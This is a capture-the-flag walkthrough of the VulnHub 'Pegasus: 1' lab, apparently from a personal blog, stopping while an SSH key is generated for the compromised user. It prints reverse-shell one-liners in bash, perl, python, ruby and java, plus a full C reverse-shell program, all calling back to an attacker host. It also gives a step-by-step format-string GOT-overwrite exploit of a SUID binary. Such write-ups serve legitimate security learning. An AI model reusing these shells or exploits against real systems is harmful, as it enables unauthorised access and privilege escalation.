Pegasus: 1 - Walkthrough


This vulnhub image is called "Pegasus: 1" and it was created by Knapsy.



I found this VM had the perfect balance of remote and local exploitation. There were definitely times during this where I was slamming my head on the desk confused at what I was doing wrong. Other times, I knew exactly what I needed to do, I just didn't know how to actually accomplish the task. This really brought me back to my OSCP days and the infamous "Try Harder". Like anything, if you don't know how to achieve something, spend time researching and learning; it will eventually pay off!


Without further ado, let's take a look at how I was able to get root on Pegasus!

I start off running netdiscover to find what machines are running on my vboxnet0 interface:

eric@localhost:~/Documents/vulnhub/pegasus$ sudo netdiscover -i vboxnet0 -r 192.168.56.0/24

I see host IP 192.168.56.101 which is neither mine nor the DHCP server (192.168.56.100)

With my newly found IP address, I turn to nmap. I run a basic scan to see what I am working with:

localhost:~/Documents/vulnhub/pegasus$ nmap 192.168.56.101

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-05 19:28 UTC
Nmap scan report for 192.168.56.101
Host is up (0.0010s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
8088/tcp open  radan-http

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
eric@localhost:~/Documents/vulnhub/pegasus$ 

With a basic scan on the top 1000 ports, I see that SSH, RPC and an HTTP service on port 8088 is running. While this is good information, I decide to go deeper and run a scan on all TCP ports:

eric@localhost:~/Documents/vulnhub/pegasus$ nmap -p- 192.168.56.101

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-05 19:29 UTC
Nmap scan report for 192.168.56.101
Host is up (0.0021s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
8088/tcp  open  radan-http
41649/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
eric@localhost:~/Documents/vulnhub/pegasus$ 
 

Interesting, port 41649 shows up with an unknown service. To enumerate further, I specify my 4 known ports and implement -A which will perform OS detection, version detection, script scanning and traceroute:


eric@localhost:~/Documents/vulnhub/pegasus$ nmap -p22,111,8088,41649 -A 192.168.56.101

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-05 19:29 UTC
Nmap scan report for 192.168.56.101
Host is up (0.0014s latency).
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 77:89:5b:52:ed:a5:58:6e:8e:09:f3:9e:f1:b0:d9:98 (DSA)
|   2048 d6:62:f5:12:31:36:ed:08:2c:1a:5e:9f:3c:aa:1f:d2 (RSA)
|_  256 c5:f0:be:e5:c0:9c:28:6e:23:5c:48:38:8b:4a:c4:43 (ECDSA)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          41649/tcp  status
|_  100024  1          42132/udp  status
8088/tcp  open  http    nginx 1.1.19
|_http-server-header: nginx/1.1.19
|_http-title: Pegasus Technologies - Under Construction
41649/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds
eric@localhost:~/Documents/vulnhub/pegasus$

Okay. Looks like port 22 is in fact SSH. We also have a web service running on port 8088. And 2 potential RPC ports. With this information, I navigate to the HTTP service running on port 8088. I run curl to quickly see what I'm working with:

eric@localhost:~/Documents/vulnhub/pegasus$ curl http://192.168.56.101:8088
<html>
 <!-- Under construction... -->
 <head>
  <title>Pegasus Technologies - Under Construction</title>
 </head>
 <body>
  <img src="pegasus_by_exomemory-d5ofhgw.jpg" />
 </body>
</html>
eric@localhost:~/Documents/vulnhub/pegasus$

Appears that the title shows its "Under Construction" and has a jpg image in the body. To get a better understanding, I navigate to the page in my browser for a better view:



This picture is of the mythical creature Pegasus. Makes sense since this is the name of VM. However, there's really not much else that stands out. Seeing that there are no links or anything hidden in the source, I download the image to see if there's anything embedded in the picture:


eric@localhost:~/Documents/vulnhub/pegasus$ wget 192.168.56.101:8088/pegasus_by_exomemory-d5ofhgw.jpg
--2017-02-05 19:34:49--  http://192.168.56.101:8088/pegasus_by_exomemory-d5ofhgw.jpg
Connecting to 192.168.56.101:8088... connected.
HTTP request sent, awaiting response... 200 OK
Length: 110429 (108K) [image/jpeg]
Saving to: ‘pegasus_by_exomemory-d5ofhgw.jpg’

pegasus_by_exomemory-d5of 100%[===================================>] 107.84K  --.-KB/s    in 0.001s  

2017-02-05 19:34:49 (152 MB/s) - ‘pegasus_by_exomemory-d5ofhgw.jpg’ saved [110429/110429]

eric@localhost:~/Documents/vulnhub/pegasus$ 

c@localhost:~/Documents/vulnhub/pegasus$ exiftool pegasus_by_exomemory-d5ofhgw.jpg
ExifTool Version Number         : 10.40
File Name                       : pegasus_by_exomemory-d5ofhgw.jpg
Directory                       : .
File Size                       : 108 kB
File Modification Date/Time     : 2014:11:23 10:39:37+00:00
File Access Date/Time           : 2017:02:05 19:34:49+00:00
File Inode Change Date/Time     : 2017:02:05 19:34:49+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 300
Y Resolution                    : 300
Image Width                     : 900
Image Height                    : 795
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 900x795
Megapixels                      : 0.716
eric@localhost:~/Documents/vulnhub/pegasus$ 

Running exiftool reveals nothing of interest. Time to start running dirb against this host for any unknown directories:

eric@localhost:~/Documents/vulnhub/pegasus$ dirb http://192.168.56.101:8088

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb  5 19:37:09 2017
URL_BASE: http://192.168.56.101:8088/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.101:8088/ ----
                                                                                                     
-----------------
END_TIME: Sun Feb  5 19:37:10 2017
DOWNLOADED: 4612 - FOUND: 0
eric@localhost:~/Documents/vulnhub/pegasus$ 

Again, nothing. Maybe Nikto will give me better luck:

eric@localhost:~/Documents/vulnhub/pegasus$ nikto -host http://192.168.56.101:8088
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        8088
+ Start Time:         2017-02-05 19:37:46 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.1.19
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.15
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7548 requests: 6 error(s) and 4 item(s) reported on remote host
+ End Time:           2017-02-05 19:37:55 (GMT0) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
eric@localhost:~/Documents/vulnhub/pegasus$  

Okay, a few things such as the server being nginx/1.1.19 and PHP version 5.3.10. However, I'm not really getting much else. I decide that it's time to bring out the big guns and fire up Burp Suite. I start fuzzing directories utilizing Burp's built in intruder, Dirbuster's medium word list and the .php extention since we know PHP is running.

Position:
GET /§ § HTTP/1.1


Payload:

Suffix:

.php


And we get a hit!


I was able to order by the return content length of the page to check for any anomalies from the basic 400 byte return. Looks like submit.php and codereview.php are key pages. Let's take a look at them.

Navigating to submit.php, responds with the following message:


However, when navigating to codereview.php, I am presented with the following:


Sweet! Finally something to work with. I take a look at the source page for any hidden gems:


Okay, looks like we're working with the codereview.php page and upon submitting the code, we send a POST method to the submit.php page. This makes sense why we were getting the "No data to process" response when navigating directly to submit.php

Additionally, the page says that our trainee (Mike) will be reviewing the code until we come up with an official process and proper portal for code submission. In the meantime, please use the form below.

Interesting, time to start tinkering with this. I send a plain message to get a better feel for how this page responds:


Okay. Based off the response, it looks like my message was sent somewhere on the system and possibly saved. Right off the bat I think about getting a shell. My thoughts are: if I can submit a reverse shell in php and have Mike access the payload, maybe it will trigger a shell back.

No better way to test this theory than giving it a shot.

I copy down Kali's php webshell and edit:

eric@localhost:~/Documents/vulnhub/pegasus$ cp /usr/share/webshells/php/php-reverse-shell.php reverse.php


I submit the code:


With my listener running, I wait:

Hmm. Nothing. I waited for a few minutes in case there was some timer running on the backend emulating Mike to check the code. However, nothing happened. I decided that it was maybe code dependent and needed a different language. Let's try something more simple, like bash?

bash -i >& /dev/tcp/192.168.56.1/443 0>&1

Nothing. Perl?


perl -e 'use Socket;$i="192.168.56.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Nothing. Python?

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nothing. Ruby?

ruby -rsocket -e'f=TCPSocket.open("192.168.56.1",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Nothing. Java?

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.56.1/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Nothing. XTerm?

xterm -display 192.168.56.1:1

Nothing. C?

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
int main(void)
{
 int i; // used for dup2 later
 int sockfd; // socket file descriptor
 socklen_t socklen; // socket-length for new connections
 
 struct sockaddr_in srv_addr; // client address
 
 srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
 srv_addr.sin_port = htons( 443 ); // connect-back port, converted to network byte order
 srv_addr.sin_addr.s_addr = inet_addr("192.168.56.1"); // connect-back ip , converted to network byte order
 
 // create new TCP socket
 sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
 
 // connect socket
 connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
 
 // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
 for(i = 0; i <= 2; i++)
  dup2(sockfd, i);
 
 // magic
 execve( "/bin/sh", NULL, NULL );
}

HIIIIITTT!!!


FYI, I found this code here:

https://www.rcesecurity.com/2014/07/slae-shell-reverse-tcp-shellcode-linux-x86/

Excellent, I'm now on the box. Time to clean up my shell and start hunting.

**NOTE**
As I started my enumeration, my connection closed. I was unsure why but decided in order to make it more stable, I would catch my connection again with a python shell:


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Now that I'm more stable. Time to clean up my shell with a nice python command:


Running ls -lah in /home/mike shows a few files, check_code.sh and my_first with SUID enabled:


mike@pegasus:/home/mike$ ls -lah
ls -lah
total 64K
drwxr-x--- 5 mike mike 4.0K Feb 13 09:33 .
drwxr-xr-x 5 root root 4.0K Nov 18  2014 ..
-rw------- 1 mike mike    0 Feb 13 09:33 .bash_history
-rw-r--r-- 1 mike mike  220 Nov 18  2014 .bash_logout
-rw-r--r-- 1 mike mike 3.5K Nov 19  2014 .bashrc
drwx------ 2 mike mike 4.0K Nov 18  2014 .cache
-rw-r--r-- 1 mike mike  675 Nov 18  2014 .profile
drwx------ 2 mike mike 4.0K Nov 24  2014 .ssh
-rw------- 1 mike mike  620 Dec 16  2014 .viminfo
drwx------ 2 mike mike 4.0K Nov 18  2014 Mail
-rwxrwxr-x 1 mike mike   79 Feb 12 06:40 Selection:
-rwxr-xr-x 1 mike mike  845 Nov 18  2014 check_code.sh
-rwxr-xr-x 1 mike mike 7.3K Feb 13 09:33 code
-rwsr-xr-x 1 john john 6.5K Nov 28  2014 my_first
-rwxr-xr-x 1 mike mike   34 Feb 12 06:38 shell
mike@pegasus:/home/mike$

I look at check_code.sh and see that it was the script running when I uploaded my "review code".

I then start looking into my_first. The first step is to see what kind of file it is:


mike@pegasus:/home/mike$ file my_first
file my_first
my_first: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xa7154888c18de2c173560b5a43d08856a538b357, not stripped
mike@pegasus:/home/mike$

Looks to be a ELF 32-bit LSB executable. I run the program to get an idea of what's going on with this program:


Okay. Looks like a simple program where it will add 2 numbers and replay a string given. However, the 3rd selection "String reverse" has not yet been implemented.

The first thing I think of is a Buffer Overflow attack and exploiting SUID.

To start messing around this program more, I decide to pull it using down to my local machine for more thorough testing. I do this with netcat.



Now that I have it locally, time to start debugging!

I first ran strings against the program to get a high level look at what we're dealing with:


After tons of tests and research (not very strong with debugging), I found that the "printf" format function can be susceptible to a Format String Attack.

"The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. In this way, the attacker could execute code, read the stack, or cause a segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system"

"The attack could be executed when the application doesn’t properly validate the submitted input. In this case, if a Format String parameter, like %x, is inserted into the posted data, the string is parsed by the Format Function, and the conversion specified in the parameters is executed. However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack."

https://www.owasp.org/index.php/Format_string_attack

Per OWASP, I can I test to see if this is vulnerable by submitting a Format String Parameter of %x into the calculator section of the tool:


The error details replayed are ffa0b74c which appear to be a location of the stack. The "%x" format parameter is used to read data from the stack.

Now that I know it's vulnerable, let's see if it's at either the first or second number:


Excellent. Looks like the second number has the vulnerability.

I then start messing around with ways to fuzz this small program and I came up with a simple printf string:

eric@localhost:~/Documents/vulnhub/pegasus$ printf '1\n1\n1\n4\n' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Result: 1 + 1 = 2

Selection: 
Goodbye!
eric@localhost:~/Documents/vulnhub/pegasus$ 

Using "printf '1\n1\n1\n4\n' | ./my_first", we are able to run 1 for calculator, \n for a new line (aka enter) and then 1 for the first number, 1 for the second number and 4 to exit.

Now it's time to figure out how to add my %x in there. After more testing, I can do this by adding %%x into the fuzzer. It needs 2 %'s to escape the first %:

eric@localhost:~/Documents/vulnhub/pegasus$ printf '1\n1\n%%x\n4\n' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ffb4f71c

Selection: 
Goodbye!
eric@localhost:~/Documents/vulnhub/pegasus$

Excellent. We have our memory address! Now it's time to see if we can control it. I start by just submitting a ton of %%x 's and see if anything "logical" happens:

eric@localhost:~/Documents/vulnhub/pegasus$ printf '1\n1\n%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x\n4\n' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: fffc30eca0f7762940804825c1fffc30f07825782578257825782578257825782578257825

Selection: 
Goodbye!
eric@localhost:~/Documents/vulnhub/pegasus$ 

Sweet! I notice that the later half of my error details comes back with a repeatable string of '7825'. I take this HEX to a converter and see that 7825 is actually 'x%' in ascii. Seeing that this is in little endian, it actually translates to %x! I then know we are getting somewhere because now I am able to control the stack. I count the number of 4 digits and see that it is in the 8th position.

Now, let's try this by sending 4 A's and then printing our format string a bunch of times:

eric@localhost:~/Documents/vulnhub/pegasus$ printf '1\n1\nAAAA.%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x\n4\n' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: AAAA.ffa2889ca0f776b940804825c1ffa288a0414141412578252e25782578257825782578257825782578

Selection: 
Goodbye!
eric@localhost:~/Documents/vulnhub/pegasus$

Perfect! We can see that our 4 A's have been printed back (41 in hex) in our error detail. Let's clean this up and only print the 8th position onward:

eric@localhost:~/Documents/vulnhub/pegasus$ printf '1\n1\nAAAA.%%8$x%%x%%x%%x\n4\n' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: AAAA.41414141fff9375ca0

Selection: 
Goodbye!
eric@localhost:~/Documents/vulnhub/pegasus$

Great. Now we are able to control EIP! With this done, it's time to look into ways to invoke a shell and exploit this bad boy.

I referenced many sources for this, but these 3 helped the most:

http://www.cis.syr.edu/~wedu/Teaching/IntrCompSec/LectureNotes_New/Buffer_Overflow.pdf
https://www.exploit-db.com/docs/28476.pdf
http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

Normally in these cases, you'd want to have a test box that replicates the victim machine. However, since I don't have one (laziness really) and this is a vulnhub image intended for practice, I perform all my actions directly on the victim machine.

First, I need to see where address system() (where my payload will be) and printf (where the vulnerability is) is located. I do this by running gdb, setting my breakpoint, running the program and printing system:

mike@pegasus:/home/mike$ gdb ./my_first
gdb ./my_first
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) break __libc_start_main
break __libc_start_main
Breakpoint 1 at 0x80483f0
(gdb) run
run
Starting program: /home/mike/my_first 

Breakpoint 1, 0x400433e0 in __libc_start_main ()
   from /lib/i386-linux-gnu/libc.so.6
(gdb) print system
print system
$1 = {<text variable, no debug info>} 0x40069060 <system>
(gdb) 

In the above, system is located at 0x40069060.

To find printf, we can run objdump:

mike@pegasus:/home/mike$ objdump -R my_first
objdump -R my_first

my_first:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049bec R_386_GLOB_DAT    __gmon_start__
08049c20 R_386_COPY        stdin
08049bfc R_386_JUMP_SLOT   printf
08049c00 R_386_JUMP_SLOT   fgets
08049c04 R_386_JUMP_SLOT   puts
08049c08 R_386_JUMP_SLOT   __gmon_start__
08049c0c R_386_JUMP_SLOT   __libc_start_main
08049c10 R_386_JUMP_SLOT   putchar
08049c14 R_386_JUMP_SLOT   strtol

mike@pegasus:/home/mike$ 

Now we have both system() = 0x40069060 and printf = 0x08049bfc. It is time to figure out how to write in memory. Per OWASP format string attack,

"%n" Write an integer to locations in the process' memory

We need to incorporate this into our payload. So far we just have a bunch of A's and where it is printing.

But first, we need to disable ASLR. Address space layout randomization (ASLR) is a memory-protection process for operating systems (OSes) that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.

To disable, I follow this document:

https://www.exploit-db.com/exploits/39669/

We can check the stack limit set and essentially increase the size to unlimited:

mike@pegasus:/home/mike$ ulimit -s
ulimit -s
8192
mike@pegasus:/home/mike$ ulimit -s unlimited
ulimit -s unlimited
mike@pegasus:/home/mike$ ulimit -s
ulimit -s
unlimited
mike@pegasus:/home/mike$

Now that ASLR has been disabled, we can begin building our exploit. Our goal here is to use %n to write to a new address. Instead of pointing to printf which is currently in place, we will point to system() which should allow us to invoke a shell.

To make our life easier, we will append our payload into a file called 'shell' and then invoke the file while in GDB. We replace our A's with the location of printf as so:

printf '1\n1\nAAAA.%%8$x%x%x%x%n'

becomes:

printf '1\n1\n\xfc\x9b\x04\x08%%8$x%n' > shell > 

As shown below:

mike@pegasus:/home/mike$ printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > shell
printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > shell
mike@pegasus:/home/mike$ cat shell
cat shell
1
1
��%8$n

We test by hooking the program to gdb, running the program with our shell file and examining the address of printf in hex:

mike@pegasus:/home/mike$ gdb ./my_first
gdb ./my_first
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < shell
run < shell
Starting program: /home/mike/my_first < shell
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: �� 

Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()
(gdb) x/x 0x08049bfc
x/x 0x08049bfc
0x8049bfc <printf@got.plt>: 0x00000004
(gdb) print system
print system
$2 = {<text variable, no debug info>} 0x40069060 <system>
(gdb) 

Perfect! It now says that printf lives at address 0x00000004.

Our next goal is to turn address 0x00000004 into 0x40069060 which is the address for system(). Now, doing some research, we can actually do this by breaking the system() address into 2 parts; 4006 and 9060. Since this is in little endian, we will start with 9060 first

We know that position 0004 in decimal notation is 4. We can then turn \x9060 into decimal which is 36960. We then subtract 4 from 36960 and result with 36956:

eric@localhost:~/Documents/vulnhub/pegasus$ python
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int("9060", 16)
36960
>>> int("0004", 16)
4
>>> 36960 - 4
36956
>>> 

Great. So, we can add 36956u (%u being an unsigned decimal) and %%8$n, which will write to the 8th position, to our shell payload. Let's see if this works:

mike@pegasus:/home/mike$ printf '1\n1\n\xfc\x9b\x04\x08%%36956u%%8$n' > shell
printf '1\n1\n\xfc\x9b\x04\x08%%36956u%%8$n' > shell
mike@pegasus:/home/mike$ gdb ./my_first
gdb ./my_first
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < shell
run < shell
Starting program: /home/mike/my_first < shell
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: �� 
                                                                                                                                                                                                           3214254972

Program received signal SIGSEGV, Segmentation fault.
0x00009060 in ?? ()
(gdb) 

Great! We have half of our system() location written.

This next part was tricky for me to grasp and had to reference a few places to understand that I needed to actually move 2 places in memory to write this value. This will also give us a different format string meaning that our lower 9060 string address will change too.

To do this, I updated the shell payload:

printf '1\n1\n\xfc\x9b\x04\x08%%36956u%%8$n' > shell

becomes:

printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36956u%%8$n%%9$n' > shell

Notice that I added \xfe\x9b\x04\x08 which is 2 places (fc + 2 = fe)

I run GDB again to see what changes have been made:

mike@pegasus:/home/mike$ printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36956u%%8$n%%9$n' > shell
<intf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36956u%%8$n%%9$n' > shell     
mike@pegasus:/home/mike$ gdb ./my_first
gdb ./my_first
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < shell
run < shell
Starting program: /home/mike/my_first < shell
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ����  3219676780

Program received signal SIGSEGV, Segmentation fault.
0x90649064 in ?? ()
(gdb) 

I see that our lower half has changed from 9060 to 9064. This is no problem because we will just subtract 4 from our original decimal. We also notice that the upper half is 9064. We do the same calculation with 4006 being the correct upper half and subtract it from 9064:

*Note* I calculated 14006 because it is an entire byte larger

eric@localhost:~/Documents/vulnhub/pegasus$ python
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int ("9064", 16)
36964
>>> int("14006", 16)
81926
>>> 81926 - 36946
44980

We add this to our shell payload and update our lower half number as well:

printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36956u%%8$n%%9$n' > shell

Becomes:

printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44980u%%9$n' > shell

mike@pegasus:/home/mike$ gdb ./my_first
gdb ./my_first
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < shell
run < shell
Starting program: /home/mike/my_first < shell
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ����   3214193228    10

Program received signal SIGSEGV, Segmentation fault.
0x40149060 in ?? ()
(gdb)

For some reason our upper half is still off. I probably did some miscalculation somewhere to be honest, but this is no problem. We can actually subtract hex 4014 and hex 4006 which is a difference of 14 in decimal. We take 14 from our shell payload again and test:

printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44980u%%9$n' > shell

Becomes:

printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n' > shell

mike@pegasus:/home/mike$ gdb ./my_first
gdb ./my_first
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < shell
run < shell
Starting program: /home/mike/my_first < shell
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ����          3220656684  10
sh: 1: Selection:: not found

Program received signal SIGSEGV, Segmentation fault.
0x08c3f75c in ?? ()
(gdb) 

Wewt!!!! This took me way more time than it should have. I definitely need to sit down and learn more on gdb and buffer overflows. But none the less, I finally was able to point to the address in memory where system() is located which is telling us that "sh: 1: Selection:: not found"

At this point, it it trying to envoke a system() call at "Selection:"

I echo a simple netcat (without -e) shell payload into a file called "Selection:"


I then execute my shell payload against the program with a listener running on my machine


YAYAYAYA!!! I now have a shell as the user john (who was the owner of the my_first program with SUID)! I probably got more excited than I should have on this. But everytime I exploit SUID, I feel a sense of accomplishment; especially after all the hours I spent on exploiting this simple program!

Anyway, now that we're running as john, let's see what is in store for us.

Since my shell is completely unstable, I generate a SSH key so that I can SSH into the box as john and have full control as this user.

eric@localhost:~/Documents/vulnhub/pegasus$ ssh-keygen -t rsa -C john
Generating public/private rsa key pair.
Enter file in which to save the key (/home/eric/.ssh/id_rsa): john-key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in john-key.
Your public key has been saved in john-key.pub.
The key fingerprint is:
SHA256:R7XJSl75SXIJfxWXO3grnpLme/EWctNMz3T4zbPdeh4 john
The key's randomart image is:
+---[RSA 2048]----+
|            o  .=|
|           o * oo|
|          o B *.o|
|         + o *.*+|
|        S +   +BB|
|         .   + *O|
|            o BEB|
